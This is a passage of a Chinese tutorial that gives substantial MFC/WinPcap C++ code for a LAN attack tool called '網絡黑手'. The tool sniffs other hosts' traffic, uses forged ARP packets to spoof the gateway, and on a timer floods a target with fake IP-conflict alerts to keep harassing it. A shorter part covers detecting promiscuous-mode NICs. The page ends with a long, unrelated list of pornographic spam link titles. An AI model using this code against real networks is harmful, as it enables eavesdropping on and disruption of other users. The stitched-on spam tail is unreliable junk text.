if (oldHostList[j].ip == hostList[i].ip) { hostList[i].sniffer = oldHostList[j].sniffer; hostList[i].ipConflict = oldHostList[j].ipConflict; hostList[i].arpCheat = oldHostList[j].arpCheat; break; } } } SetTimer(1, 20000, NULL); for (i = m_hostList.nVWndPos / 13, j = 0; i < currentHstIndex; i++, j++) { CString str; m_hostList.SetText(j + 1, 0, inet_ntoa(*(struct in_addr*)(&(hostList[i].ip)) )); if (hostList[i].sniffer == 0) m_hostList.SetText(j + 1, 2, "OFF"); else m_hostList.SetText(j + 1, 2, "ON"); str.Format("%02x-%02x-%02x-%02x-%02x-%02x", hostList[i].mac[0], hostList[i].mac[1], hostList[i].mac[2], hostList[i].mac[3], hostList[i].mac[4], hostList[i].mac[5]); m_hostList.SetText(i + 1, 1, str); if (hostList[i].arpCheat == 0) m_hostList.SetText(j + 1, 3, "OFF"); else m_hostList.SetText(j + 1, 3, "ON"); if (hostList[i].ipConflict == 0) m_hostList.SetText(j + 1, 4, "OFF"); else m_hostList.SetText(j + 1, 4, "ON"); } for (; j < 31; j++) { for (int k = 0; k < 5; k++) m_hostList.SetText(j + 1, k, "");
} m_hostList.Invalidate(); unsigned char mac[6]; memcpy(mac, mmac, 4); mac[5] = rand(); for (i = 0; i < currentHstIndex; i++) { unsigned long ip; if (hostList[i].arpCheat == 1) { ip = (hostList[i].ip &0xff) << 24; ip += (hostList[i].ip &0xff00) << 8; ip += (hostList[i].ip &0xff0000) >> 8; ip += (hostList[i].ip &0xff000000) >> 24; SendArpReq(gateip, ip, mac); //網關->欺騙IP } if (hostList[i].ipConflict == 1) { ip = (hostList[i].ip &0xff) << 24; ip += (hostList[i].ip &0xff00) << 8; ip += (hostList[i].ip &0xff0000) >> 8; ip += (hostList[i].ip &0xff000000) >> 24; SendArpReq(ip, 2, mac); } } memcpy(oldHostList, hostList, sizeof(HostList) *MAX_HOST); oldHstIndex = currentHstIndex; currentHstIndex = 0; OnRecvPkt(); sthread = CreateThread(NULL, 0, CheckHost, 0, 0, 0); CDialog::OnTimer(nIDEvent); }
Sniffer到需要監聽節點的報文后,sniffer線程會主動給對話框發送消息,以更新顯示:
void CNetHackerDlg::OnRecvPkt() { CString str;
for (int i = 1; i <= MAX_PACKET; i++) { if (!packetList[i - 1].srcIp) break; m_packetList.SetText(i, 0, inet_ntoa(*(struct in_addr*)(&(packetList[i - 1].srcIp)))); m_packetList.SetText(i, 1, inet_ntoa(*(struct in_addr*)(&(packetList[i - 1].desIp)))); switch (packetList[i - 1].protocol) { case IPPROTO_TCP: m_packetList.SetText(i, 2, "TCP"); str.Format("%d", packetList[i - 1].srcPort); m_packetList.SetText(i, 3, str); str.Format("%d", packetList[i - 1].desPort); m_packetList.SetText(i, 4, str); break; case IPPROTO_UDP: m_packetList.SetText(i, 2, "UDP"); str.Format("%d", packetList[i - 1].srcPort); m_packetList.SetText(i, 3, str); str.Format("%d", packetList[i - 1].desPort); m_packetList.SetText(i, 4, str); break; case IPPROTO_ICMP: m_packetList.SetText(i, 2, "ICMP"); m_packetList.SetText(i, 3, "X"); m_packetList.SetText(i, 4, "X"); break; case IPPROTO_IGMP: m_packetList.SetText(i, 2, "IGMP"); m_packetList.SetText(i, 3, "X"); m_packetList.SetText(i, 4, "X"); break; case ARP: m_packetList.SetText(i, 2, "ARP"); m_packetList.SetText(i, 3, "X"); m_packetList.SetText(i, 4, "X"); break; } }
m_packetList.Invalidate(); }
"啟動"和"停止"按鈕的處理函數為:
void CNetHackerDlg::OnStartstopButton() { // TODO: Add your control notification handler code here char adapter[200]; struct sockaddr_in sin; m_adapterList.GetWindowText(adapter, 200); if (m_runStatus == STOP) { lpadapter = PacketOpenAdapter(adapter); if (!lpadapter || (lpadapter->hFile == INVALID_HANDLE_VALUE)) { MessageBox("PacketOpenAdapter Error", "網絡黑手", MB_ICONEXCLAMATION); return ; } if ((lppackets = PacketAllocatePacket()) == FALSE) { MessageBox("PacketAllocatePacket send Error", "網絡黑手", MB_ICONEXCLAMATION); return ; } for (d = alldevs; d; d = d->next) { if (strcmp(d->name, adapter) == 0) { sin = *(struct sockaddr_in*)(d->addresses->addr); myip = ntohl(sin.sin_addr.s_addr); break; } } m_hostList.SetText(1, 0, "正在獲取..."); m_hostList.SetText(1, 1, "正在獲取...");
m_hostList.Invalidate(); m_fromip.GetAddress(fromip); m_toip.GetAddress(toip); m_gateip.GetAddress(gateip); memset(packetList, 0, MAX_PACKET *sizeof(PacketList)); memset(mmac, 0, 6); rthread = CreateThread(NULL, 0, sniff, 0, 0, 0); SetTimer(1, 100, NULL); //啟動定時器 SetDlgItemText(IDC_STARTSTOP_BUTTON, "停止"); m_runStatus = START; } else { TerminateThread(rthread, 0); CloseHandle(rthread); TerminateThread(sthread, 0); CloseHandle(sthread); currentHstIndex = 0; sthread = 0; rthread = 0; oldHstIndex = 0; SetDlgItemText(IDC_STARTSTOP_BUTTON, "開始"); m_runStatus = STOP; PacketCloseAdapter(lpadapter); KillTimer(1); } }
下面我們來介紹"ARP欺騙"和"報告IP沖突"的實現方法。ARP欺騙很簡單,發送一個ARP報文,目的IP為攻擊目標,源IP為局域網網關,源MAC地址瞎弄一個或弄成自己的即可:
SendArpReq(gateIp, desIp,mmac);
"報告IP沖突"的實現方法是,發送一個ARP報文,源IP為攻擊目標,目的IP瞎弄一個,MAC地址也瞎弄一個:
SendArpReq(desIp, 2,mac);
為了不斷的騷擾對方,我們可以弄個定時器,在OnTimer()的時候就給需要欺騙的目標整一個偽造報文:
void CNetHackerDlg::OnTimer(UINT nIDEvent) { //… for (int i = 0; i < currentHstIndex; i++) { if (hostList[i].arpCheat == 1) { SendArpReq(gateIp, desIp, mmac); } if (hostList[i].ipConflict == 1) { SendArpReq(desIp, 2, mac); } } }
最后,因為對話框程序的回車鍵會產生與按下OK按鈕同樣的效果,即對話框程序會關閉,而我們的上述程序不需要OK按鈕,因此,可以直接覆蓋OnOk()函數,相關代碼為:
class CNetHackerDlg: public CDialog { //... // Generated message map functions //{{AFX_MSG(CNetHackerDlg) virtual BOOL OnInitDialog(); afx_msg void OnSysCommand(UINT nID, LPARAM lParam); afx_msg void OnPaint(); afx_msg HCURSOR OnQueryDragIcon(); afx_msg void OnStartstopButton(); afx_msg void OnTimer(UINT nIDEvent); afx_msg void OnRecvPkt(); afx_msg void OnOk(); //OK按鈕處理函數 //}}AFX_MSG //... }; BEGIN_MESSAGE_MAP(CNetHackerDlg, CDialog) //{{AFX_MSG_MAP(CNetHackerDlg) ON_WM_SYSCOMMAND()
ON_WM_PAINT() ON_WM_QUERYDRAGICON() ON_BN_CLICKED(IDC_STARTSTOP_BUTTON, OnStartstopButton) ON_BN_CLICKED(IDOK,OnOk) //OK按鈕消息影射 ON_WM_TIMER() ON_MESSAGE(RECV_PKT, OnRecvPkt) //}}AFX_MSG_MAP END_MESSAGE_MAP() void CNetHackerDlg::OnOk() { CAboutDlg dlg; dlg.DoModal(); }
上述的OK按鈕處理函數將彈出軟件的關于(About)對話框,這樣,在對話框的任意位置按下回車鍵,將彈出關于對話框,效果如下:
最后,因為程序包括了Winpcap相關.dll及其他.dll的引用,因此,我們應該在程序的適當地方進行如下聲明:
#pragma comment(lib,"Packet.lib") #pragma comment(lib,"wpcap.lib") #pragma comment(lib,"Ws2_32.lib")
2、網絡黑手終結者的實現 "網絡黑手終結者"用于搜索局域網內處于混雜模式的網卡并將其列出,檢測其是否正在使用的是"網絡黑手"(對方可能使用其他工具使網卡處于混雜模式),如果是,我們可以通過"黑手狀態"一列來終結對方正在使用的"網絡黑手"。 檢測局域網內處于混雜模式網卡的原理如下: 正常的ARP請求使用FF-FF-FF-FF-FF-FF這個MAC地址為目標,這個是一個正規的廣播地址,網卡不管處于正常模式還是混雜,都會接收并 傳遞給系統核心。但是,為了偵查混雜模式的網卡,我們以FF-FF-FF-FF-FF-FE為目標發送ARP請求。假設對方網卡處于混雜模式,它就會接受 這個ARP請求并提交給系統核心。巧就巧在操作系統在檢測MAC層廣播地址時,不會檢查所有的字節,即它可能認為FF-FF-XX-XX-XX-XX就等 同于FF-FF-FF-FF-FF-FF,并給出ARP回復。所有的Windows操作系統都是如此。顯然,最保險的是以FF-FF-FF-FF-FF- FE為目標發送ARP請求,處于混雜模式的網卡會接收該報文而正常的網卡則不會接收,混雜模式的網卡接收到ARP請求提交系統核心后,會發送ARP回復, 憑此可以確定該節點一定處于混雜模式。ArpKiller軟件也是基于上述原理展開的。 "網絡黑手終結者"的界面如下:
創建界面中表格及獲得網卡列表、對話框初始化的代碼如下:
BOOL CNetHackerKillDlg::OnInitDialog() { CDialog::OnInitDialog();
// Add "About..." menu item to system menu. // IDM_ABOUTBOX must be in the system command range. ASSERT((IDM_ABOUTBOX &0xFFF0) == IDM_ABOUTBOX); ASSERT(IDM_ABOUTBOX < 0xF000); CMenu *pSysMenu = GetSystemMenu(FALSE); if (pSysMenu != NULL) { CString strAboutMenu; strAboutMenu.LoadString(IDS_ABOUTBOX); if (!strAboutMenu.IsEmpty()) { pSysMenu->AppendMenu(MF_SEPARATOR); pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu); } } // Set the icon for this dialog. The framework does this automatically // when the application's main window is not a dialog SetIcon(m_hIcon, TRUE); // Set big icon SetIcon(m_hIcon, FALSE); // Set small icon // TODO: Add extra initialization here int i = 0; char errbuf[PCAP_ERRBUF_SIZE]; /* 取得列表 */ if (pcap_findalldevs(&alldevs, errbuf) == - 1) { MessageBox("獲得網絡適配器列表失敗,請確認您正確安裝了WINPCAP!", "網絡黑手", MB_ICONEXCLAMATION); GetDlgItem(IDC_STARTSTOP_BUTTON)->EnableWindow(FALSE); } /* 輸出列表 */ for (d = alldevs; d; d = d->next) { CString str(d->name); if (str.Find("//Device//NPF_Generic", 0) == - 1) m_adapterList.AddString(str);
} m_hostList.Create(CRect(12, 114, 435, 322), this, 1000); m_hostList.SetCols(4); m_hostList.SetRows(16); for (i = 0; i < 16; i++) { m_hostList.SetRowHeight(i, 13); for (int j = 0; j < 5; j++) { m_hostList.SetAlignment(i, j, DT_CENTER); } } m_hostList.SetColWidth(0, 120); m_hostList.SetColWidth(1, 140); m_hostList.SetColWidth(2, 100); m_hostList.SetColWidth(3, 62); m_hostList.SetColWidth(4, 62); m_hostList.SetText(0, 0, "IP地址"); m_hostList.SetText(0, 1, "MAC地址"); m_hostList.SetText(0, 2, "是否網絡黑手"); m_hostList.SetText(0, 3, "黑手狀態"); return TRUE; // return TRUE unless you set the focus to a control }
簡單的修改ARP請求函數的目標地址:
void SendArpReq(unsigned long srcIp,unsigned long desIp,UCHAR * srcMac) { //… eth.eh_dst[5]=0xfe; //… }
GetData()函數則不再需要偵聽報文:
void GetData(LPPACKET lp) { ULONG ulbytesreceived, off;
ETHDR *eth; ARPHDR *arp; char *buf, *pChar, *base; struct bpf_hdr *hdr; ulbytesreceived = lp->ulBytesReceived; buf = (char*)lp->Buffer; off = 0; while (off < ulbytesreceived) { hdr = (struct bpf_hdr*)(buf + off); off += hdr->bh_hdrlen; pChar = (char*)(buf + off); base = pChar; off = Packet_WORDALIGN(off + hdr->bh_caplen); eth = (PETHDR)pChar; arp = (PARPHDR)(pChar + sizeof(ETHDR)); if (eth->eh_type == htons(ETH_IP)) { continue; } else if (eth->eh_type == htons(ETH_ARP)) { if (arp->arp_tpa == htonl(myip) && arp->arp_opt == htons(ARP_REPLY)) { int i; for (i = 0; i < currentHstIndex; i++) { if (hostList[i].ip == arp->arp_spa) { break; } } if (i >= currentHstIndex) { hostList[currentHstIndex].ip = arp->arp_spa; memcpy(hostList[currentHstIndex].mac, eth->eh_src, 6); currentHstIndex++;
} } else if (arp->arp_spa == htonl(myip) && arp->arp_opt == htons(ARP_REPLY)) memcpy(mmac, eth->eh_src, 6); } } }
如何判斷處于混雜模式的主機是否使用的是"網絡黑手"呢?又如何終止對方"網絡黑手"的使用呢?道理很簡單,我們只需要在"網絡黑手"與"網絡黑手終結者"之間約定一套通信協議,按照該協議進行控制。剩下的工作留給讀者朋友了。 3、攻防演示 下面的界面顯示了搜索局域網內192.168.1.1~192.168.1.30范圍內的節點并偵聽192.168.1.2,我們簡單的抓一些報文后按 下"停止",看看其中的一個TCP報文,簡單的信息讓我們看出對方正在上http://www.sina.com.cn這個網頁。 我們完全可以把網絡黑手做的更牛X一點,對應用層報文進行分析,從而完整地監視目標的行為。 現在我們給目標192.168.1.2 偽造ARP報文讓其一直被提示IP沖突"IP地址與網絡上的其他系統有沖突",抓圖如下:
我們用"ArpKiller"或者"網絡黑手終結者"都可以掃描出局域網內處于混雜模式的主機,如果確定對方使用的是"網絡黑手",在表格的黑手狀態項目對應的行里雙擊,就會給"網絡黑手"發送終止報文,"網絡黑手"軟件將自動關閉。

總結

以上是生活随笔為你收集整理的raw socket的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

欧美三级不卡在线观看 | 黑人大群体交免费视频 | 日日躁夜夜躁狠狠躁 | 双乳奶水饱满少妇呻吟 | 国产艳妇av在线观看果冻传媒 | 99久久人妻精品免费一区 | 人人爽人人爽人人片av亚洲 | 亚洲の无码国产の无码步美 | 国产精品亚洲lv粉色 | 亚洲成av人片天堂网无码】 | 国产精品久免费的黄网站 | 久久久久人妻一区精品色欧美 | 国内少妇偷人精品视频免费 | 久激情内射婷内射蜜桃人妖 | 2020久久香蕉国产线看观看 | 中文久久乱码一区二区 | 亚洲日本一区二区三区在线 | 亚洲va中文字幕无码久久不卡 | 午夜性刺激在线视频免费 | 人妻少妇被猛烈进入中文字幕 | 大地资源中文第3页 | 性色欲网站人妻丰满中文久久不卡 | 夜精品a片一区二区三区无码白浆 | 亚洲日韩精品欧美一区二区 | 国产特级毛片aaaaaaa高清 | 亚洲国产午夜精品理论片 | 亚洲成熟女人毛毛耸耸多 | 在线观看国产午夜福利片 | 俺去俺来也在线www色官网 | 成人精品天堂一区二区三区 | 亚洲精品成a人在线观看 | 欧美性生交活xxxxxdddd | 高清不卡一区二区三区 | 最近中文2019字幕第二页 | 美女黄网站人色视频免费国产 | 欧美xxxxx精品 | 99麻豆久久久国产精品免费 | 成人综合网亚洲伊人 | 国产一区二区三区日韩精品 | 国产乱人无码伦av在线a | 亚洲国产欧美日韩精品一区二区三区 | 综合人妻久久一区二区精品 | 十八禁视频网站在线观看 | 亚洲一区二区观看播放 | 国产精品久久久久久无码 | 男女超爽视频免费播放 | 国产97人人超碰caoprom | 丝袜足控一区二区三区 | 亚洲人成网站免费播放 | 夜先锋av资源网站 | 久久人人97超碰a片精品 | 1000部夫妻午夜免费 | 国产精品久久久一区二区三区 | а天堂中文在线官网 | 一个人看的www免费视频在线观看 | 亚洲s色大片在线观看 | 伊人久久大香线焦av综合影院 | 在线观看免费人成视频 | 亚洲日本在线电影 | 亚洲s码欧洲m码国产av | 熟女少妇人妻中文字幕 | 18精品久久久无码午夜福利 | 亚洲中文字幕无码中文字在线 | 欧美成人家庭影院 | 亚洲s色大片在线观看 | 成人免费视频一区二区 | yw尤物av无码国产在线观看 | 国产亚洲精品久久久久久久 | 国产亚洲美女精品久久久2020 | 久久亚洲日韩精品一区二区三区 | 青青青爽视频在线观看 | 国产无遮挡又黄又爽免费视频 | 55夜色66夜色国产精品视频 | 国产精品久久福利网站 | 国产亚洲精品久久久久久久 | 亚洲精品中文字幕久久久久 | 久精品国产欧美亚洲色aⅴ大片 | 妺妺窝人体色www在线小说 | 国产麻豆精品一区二区三区v视界 | 亚洲欧洲日本综合aⅴ在线 | 人人妻人人澡人人爽人人精品 | 成熟人妻av无码专区 | 日韩av无码中文无码电影 | 国产乱人偷精品人妻a片 | 无码一区二区三区在线 | 无码毛片视频一区二区本码 | 麻豆国产人妻欲求不满谁演的 | 无码吃奶揉捏奶头高潮视频 | 人妻少妇精品无码专区动漫 | 欧美老人巨大xxxx做受 | 丰满人妻被黑人猛烈进入 | 国产精品内射视频免费 | 亚洲综合另类小说色区 | 国产免费观看黄av片 | 亚洲狠狠色丁香婷婷综合 | 国产在线一区二区三区四区五区 | 色妞www精品免费视频 | 国产亲子乱弄免费视频 | 国产莉萝无码av在线播放 | 久久亚洲a片com人成 | 无码人妻久久一区二区三区不卡 | 亚洲一区二区观看播放 | 国产乡下妇女做爰 | 三级4级全黄60分钟 | 国产手机在线αⅴ片无码观看 | 漂亮人妻洗澡被公强 日日躁 | 婷婷色婷婷开心五月四房播播 | а天堂中文在线官网 | 国产无遮挡又黄又爽又色 | 国产超级va在线观看视频 | 一区二区三区乱码在线 | 欧洲 | 曰韩无码二三区中文字幕 | 亚洲色www成人永久网址 | 精品国产青草久久久久福利 | 伊人久久大香线蕉av一区二区 | 日韩 欧美 动漫 国产 制服 | 欧洲欧美人成视频在线 | 免费男性肉肉影院 | 国产又爽又黄又刺激的视频 | 国产精品永久免费视频 | 国内精品一区二区三区不卡 | 成年女人永久免费看片 | 又大又硬又黄的免费视频 | 国产精品久久久久久久影院 | 夜夜影院未满十八勿进 | 99久久亚洲精品无码毛片 | 精品国产av色一区二区深夜久久 | 又大又黄又粗又爽的免费视频 | 性做久久久久久久免费看 | 久久天天躁狠狠躁夜夜免费观看 | 国产电影无码午夜在线播放 | 欧美变态另类xxxx | 狠狠色丁香久久婷婷综合五月 | 99国产精品白浆在线观看免费 | 最近中文2019字幕第二页 | 亲嘴扒胸摸屁股激烈网站 | 国产超级va在线观看视频 | 内射巨臀欧美在线视频 | 99久久精品日本一区二区免费 | 中文字幕无码日韩欧毛 | 成人女人看片免费视频放人 | 国产精品资源一区二区 | 成人aaa片一区国产精品 | 九九综合va免费看 | 麻豆国产丝袜白领秘书在线观看 | 精品国产乱码久久久久乱码 | 乱码午夜-极国产极内射 | 蜜桃臀无码内射一区二区三区 | 老子影院午夜伦不卡 | 国产真实伦对白全集 | 久久久久99精品成人片 | 日本欧美一区二区三区乱码 | 巨爆乳无码视频在线观看 | 黑人大群体交免费视频 | 久久精品丝袜高跟鞋 | 国产疯狂伦交大片 | 国产又粗又硬又大爽黄老大爷视 | 欧美第一黄网免费网站 | 综合网日日天干夜夜久久 | 人妻少妇精品无码专区动漫 | 在线播放亚洲第一字幕 | 国语自产偷拍精品视频偷 | 成熟人妻av无码专区 | 久久国产精品精品国产色婷婷 | 青青青爽视频在线观看 | 丰满人妻被黑人猛烈进入 | 学生妹亚洲一区二区 | 国产极品美女高潮无套在线观看 | 午夜丰满少妇性开放视频 | 乱码午夜-极国产极内射 | 97资源共享在线视频 | av人摸人人人澡人人超碰下载 | 3d动漫精品啪啪一区二区中 | 亚洲色偷偷偷综合网 | 久久国产精品_国产精品 | 老司机亚洲精品影院无码 | 无遮挡国产高潮视频免费观看 | 人妻少妇被猛烈进入中文字幕 | 日韩欧美群交p片內射中文 | 人妻与老人中文字幕 | 一本无码人妻在中文字幕免费 | 丝袜人妻一区二区三区 | 国产一区二区三区影院 | 老司机亚洲精品影院 | 中文字幕无码免费久久9一区9 | 国产精品久久久午夜夜伦鲁鲁 | 久久久国产精品无码免费专区 | 国产成人人人97超碰超爽8 | 日日噜噜噜噜夜夜爽亚洲精品 | aa片在线观看视频在线播放 | 久9re热视频这里只有精品 | 国产精品无码一区二区三区不卡 | 精品一区二区不卡无码av | 久9re热视频这里只有精品 | 最近中文2019字幕第二页 | 成熟妇人a片免费看网站 | www国产亚洲精品久久网站 | 亚洲一区二区三区 | 久久99精品国产麻豆 | 久久精品国产一区二区三区 | 女人和拘做爰正片视频 | 亚洲国产欧美日韩精品一区二区三区 | 成人三级无码视频在线观看 | 日本熟妇浓毛 | 久久精品中文闷骚内射 | 亚洲欧美中文字幕5发布 | 男人和女人高潮免费网站 | 国产极品美女高潮无套在线观看 | 又色又爽又黄的美女裸体网站 | 免费人成在线观看网站 | 久久人人爽人人人人片 | 国产偷抇久久精品a片69 | 影音先锋中文字幕无码 | 日日摸天天摸爽爽狠狠97 | 午夜精品久久久久久久久 | 午夜熟女插插xx免费视频 | 亚洲一区二区三区四区 | 少妇人妻大乳在线视频 | 大屁股大乳丰满人妻 | 欧美精品国产综合久久 | 免费乱码人妻系列无码专区 | 亚洲欧美精品伊人久久 | 亚洲热妇无码av在线播放 | 色综合久久88色综合天天 | 亚洲中文字幕在线无码一区二区 | 国产午夜福利100集发布 | 日本www一道久久久免费榴莲 | 精品 日韩 国产 欧美 视频 | 99久久精品无码一区二区毛片 | 网友自拍区视频精品 | 丰满岳乱妇在线观看中字无码 | 中文字幕人妻丝袜二区 | 免费观看又污又黄的网站 | 性生交片免费无码看人 | 无套内谢老熟女 | 欧美刺激性大交 | 天天躁夜夜躁狠狠是什么心态 | 亚洲大尺度无码无码专区 | 国产精品毛多多水多 | 亚洲精品无码人妻无码 | 国产精品自产拍在线观看 | 无码国模国产在线观看 | 亚洲日韩av一区二区三区中文 | 一本加勒比波多野结衣 | 欧美亚洲国产一区二区三区 | 久久精品女人的天堂av | 成人免费视频在线观看 | 欧洲熟妇色 欧美 | 国产极品美女高潮无套在线观看 | 日本免费一区二区三区最新 | 国产精品久久国产三级国 | 免费网站看v片在线18禁无码 | 色婷婷av一区二区三区之红樱桃 | 小sao货水好多真紧h无码视频 | 欧美人妻一区二区三区 | 日韩av无码一区二区三区不卡 | 在线观看国产午夜福利片 | 亚洲精品国产精品乱码视色 | 亚洲国产精品成人久久蜜臀 | 日韩成人一区二区三区在线观看 | 天干天干啦夜天干天2017 | 免费无码一区二区三区蜜桃大 | 国产精品毛片一区二区 | 久久亚洲中文字幕无码 | 国产人成高清在线视频99最全资源 | 夜夜夜高潮夜夜爽夜夜爰爰 | 国产成人无码av片在线观看不卡 | 2019午夜福利不卡片在线 | 2020最新国产自产精品 | 性开放的女人aaa片 | 日本又色又爽又黄的a片18禁 | 一区二区三区乱码在线 | 欧洲 | 国产凸凹视频一区二区 | 亚洲欧美日韩成人高清在线一区 | 中文字幕中文有码在线 | 国产精品国产自线拍免费软件 | 性生交大片免费看l | 日本xxxx色视频在线观看免费 | 国产成人综合美国十次 | 国产成人一区二区三区在线观看 | 国产在线aaa片一区二区99 | 精品无码国产一区二区三区av | 日本高清一区免费中文视频 | 欧美成人免费全部网站 | 精品少妇爆乳无码av无码专区 | 久久五月精品中文字幕 | 成人片黄网站色大片免费观看 | 男人的天堂av网站 | 亚洲七七久久桃花影院 | 麻豆果冻传媒2021精品传媒一区下载 | 欧美freesex黑人又粗又大 | 亚无码乱人伦一区二区 | 久精品国产欧美亚洲色aⅴ大片 | 中文字幕日韩精品一区二区三区 | 欧美大屁股xxxxhd黑色 | 国产精品福利视频导航 | 中文字幕av伊人av无码av | 国产精品久免费的黄网站 | 人妻少妇精品视频专区 | 亚洲精品国产第一综合99久久 | 久久久久人妻一区精品色欧美 | 国内精品久久久久久中文字幕 | 欧美兽交xxxx×视频 | 内射后入在线观看一区 | 欧美第一黄网免费网站 | 亚洲国产精品毛片av不卡在线 | 男人的天堂av网站 | 国内揄拍国内精品少妇国语 | 亚洲国产av精品一区二区蜜芽 | 中文字幕日产无线码一区 | 成人精品一区二区三区中文字幕 | 日韩成人一区二区三区在线观看 | 国产成人av免费观看 | 成年女人永久免费看片 | 内射后入在线观看一区 | 久久久久99精品成人片 | 国产亚洲精品精品国产亚洲综合 | 国产成人综合美国十次 | 免费男性肉肉影院 | 中文字幕乱码人妻二区三区 | 国产黑色丝袜在线播放 | 女人色极品影院 | 亚洲国产av精品一区二区蜜芽 | 国产亚洲人成a在线v网站 | 欧美 丝袜 自拍 制服 另类 | 无人区乱码一区二区三区 | 国精品人妻无码一区二区三区蜜柚 | 欧美野外疯狂做受xxxx高潮 | 女人高潮内射99精品 | 激情内射日本一区二区三区 | 无码帝国www无码专区色综合 | 野狼第一精品社区 | 纯爱无遮挡h肉动漫在线播放 | 欧美老人巨大xxxx做受 | 色综合久久88色综合天天 | 中文无码精品a∨在线观看不卡 | 日韩人妻无码中文字幕视频 | 国产激情无码一区二区app | 奇米综合四色77777久久 东京无码熟妇人妻av在线网址 | 亚洲成a人片在线观看无码 | 领导边摸边吃奶边做爽在线观看 | 人妻体内射精一区二区三四 | 偷窥日本少妇撒尿chinese | 真人与拘做受免费视频一 | 人人妻人人澡人人爽精品欧美 | 国产亚洲人成a在线v网站 | 无码国产乱人伦偷精品视频 | 妺妺窝人体色www在线小说 | 无码人妻丰满熟妇区五十路百度 | 久久久久亚洲精品中文字幕 | 麻豆国产97在线 | 欧洲 | 亚洲人成影院在线无码按摩店 | 中文字幕无码人妻少妇免费 | 久久久久99精品成人片 | 中文毛片无遮挡高清免费 | 亚洲日韩精品欧美一区二区 | 女人和拘做爰正片视频 | 国产精品高潮呻吟av久久4虎 | 亚洲精品一区二区三区在线观看 | 久久亚洲日韩精品一区二区三区 | 丰满人妻被黑人猛烈进入 | 日本大香伊一区二区三区 | 九九久久精品国产免费看小说 | 野外少妇愉情中文字幕 | 国产乡下妇女做爰 | 欧美自拍另类欧美综合图片区 | 日日噜噜噜噜夜夜爽亚洲精品 | 装睡被陌生人摸出水好爽 | 亚洲无人区一区二区三区 | 乱人伦人妻中文字幕无码 | 亚洲中文字幕在线无码一区二区 | 国产av一区二区三区最新精品 | 午夜免费福利小电影 | 国产偷自视频区视频 | 久久精品国产99久久6动漫 | 亚洲阿v天堂在线 | 久久久久国色av免费观看性色 | 国产日产欧产精品精品app | 丝袜人妻一区二区三区 | 一个人看的视频www在线 | 狠狠综合久久久久综合网 | 国产欧美亚洲精品a | 精品久久综合1区2区3区激情 | 精品国产福利一区二区 | 国产综合色产在线精品 | 亚洲色欲色欲天天天www | av无码不卡在线观看免费 | 久久久久免费看成人影片 | 亚洲国产欧美日韩精品一区二区三区 | 日本乱人伦片中文三区 | 嫩b人妻精品一区二区三区 | 国产精品永久免费视频 | 亚洲爆乳精品无码一区二区三区 | 欧美亚洲国产一区二区三区 | 久精品国产欧美亚洲色aⅴ大片 | 亚欧洲精品在线视频免费观看 | 99久久人妻精品免费二区 | 国内精品一区二区三区不卡 | 奇米影视888欧美在线观看 | 久久婷婷五月综合色国产香蕉 | 国产麻豆精品精东影业av网站 | 久久99精品久久久久婷婷 | yw尤物av无码国产在线观看 | 午夜熟女插插xx免费视频 | 精品一区二区三区无码免费视频 | 一个人免费观看的www视频 | 国产在热线精品视频 | 日本精品少妇一区二区三区 | 性生交大片免费看l | 日本高清一区免费中文视频 | 久久久av男人的天堂 | 国产无av码在线观看 | 色综合天天综合狠狠爱 | 国产口爆吞精在线视频 | 18黄暴禁片在线观看 | 精品无人区无码乱码毛片国产 | 欧美 日韩 亚洲 在线 | 日本熟妇人妻xxxxx人hd | 熟妇女人妻丰满少妇中文字幕 | 亚洲区欧美区综合区自拍区 | 国产综合久久久久鬼色 | 国产亚洲tv在线观看 | 亚洲精品一区二区三区大桥未久 | 成 人 免费观看网站 | 中文无码成人免费视频在线观看 | 最新国产乱人伦偷精品免费网站 | 日韩精品无码一本二本三本色 | 亚洲无人区午夜福利码高清完整版 | 天堂无码人妻精品一区二区三区 | 日韩精品无码一本二本三本色 | 日本熟妇浓毛 | 久久午夜无码鲁丝片秋霞 | 亚洲の无码国产の无码步美 | 色诱久久久久综合网ywww | 中文字幕亚洲情99在线 | 极品嫩模高潮叫床 | 亚洲精品国偷拍自产在线麻豆 | 久久国产精品偷任你爽任你 | 国产三级久久久精品麻豆三级 | 人人妻在人人 | 成人无码影片精品久久久 | 永久黄网站色视频免费直播 | 成人无码视频在线观看网站 | 亚洲第一无码av无码专区 | 精品无人区无码乱码毛片国产 | 永久黄网站色视频免费直播 | 日本一区二区更新不卡 | 天天躁日日躁狠狠躁免费麻豆 | 成人aaa片一区国产精品 | 日日噜噜噜噜夜夜爽亚洲精品 | 日日躁夜夜躁狠狠躁 | 国内少妇偷人精品视频 | 男女作爱免费网站 | 少妇被粗大的猛进出69影院 | 日日麻批免费40分钟无码 | 99国产欧美久久久精品 | 久久久www成人免费毛片 | 天海翼激烈高潮到腰振不止 | 国产美女精品一区二区三区 | 人人妻人人澡人人爽欧美精品 | 日日摸夜夜摸狠狠摸婷婷 | 久久综合久久自在自线精品自 | 帮老师解开蕾丝奶罩吸乳网站 | 日韩欧美中文字幕公布 | 在线观看欧美一区二区三区 | 大地资源中文第3页 | 欧美性生交xxxxx久久久 | 精品成在人线av无码免费看 | 乱中年女人伦av三区 | 国产性猛交╳xxx乱大交 国产精品久久久久久无码 欧洲欧美人成视频在线 | 中文字幕乱妇无码av在线 | 亚洲无人区一区二区三区 | 国产成人精品必看 | 少妇高潮一区二区三区99 | 欧美乱妇无乱码大黄a片 | 亚洲成熟女人毛毛耸耸多 | 久久天天躁狠狠躁夜夜免费观看 | 免费人成在线观看网站 | 久久久精品456亚洲影院 | 性生交片免费无码看人 | 欧美老妇交乱视频在线观看 | 国产精品久久久久影院嫩草 | 国产成人精品三级麻豆 | 亚洲一区二区三区在线观看网站 | 黑森林福利视频导航 | √天堂中文官网8在线 | 国产精品无码久久av | 亚洲精品欧美二区三区中文字幕 | 国产人妻久久精品二区三区老狼 | 国产手机在线αⅴ片无码观看 | 中文字幕 人妻熟女 | 国产免费无码一区二区视频 | 人妻熟女一区 | 亚洲色无码一区二区三区 | 亚洲国产日韩a在线播放 | 377p欧洲日本亚洲大胆 | 精品国精品国产自在久国产87 | 精品久久久久久人妻无码中文字幕 | 成人无码精品一区二区三区 | 亚洲中文字幕无码中文字在线 | 欧美亚洲国产一区二区三区 | 色婷婷av一区二区三区之红樱桃 | 国产精品久久久久无码av色戒 | 蜜臀av在线观看 在线欧美精品一区二区三区 | 国产午夜手机精彩视频 | 欧美老妇与禽交 | 亚洲第一网站男人都懂 | 久久综合久久自在自线精品自 | 人人妻人人澡人人爽欧美一区九九 | 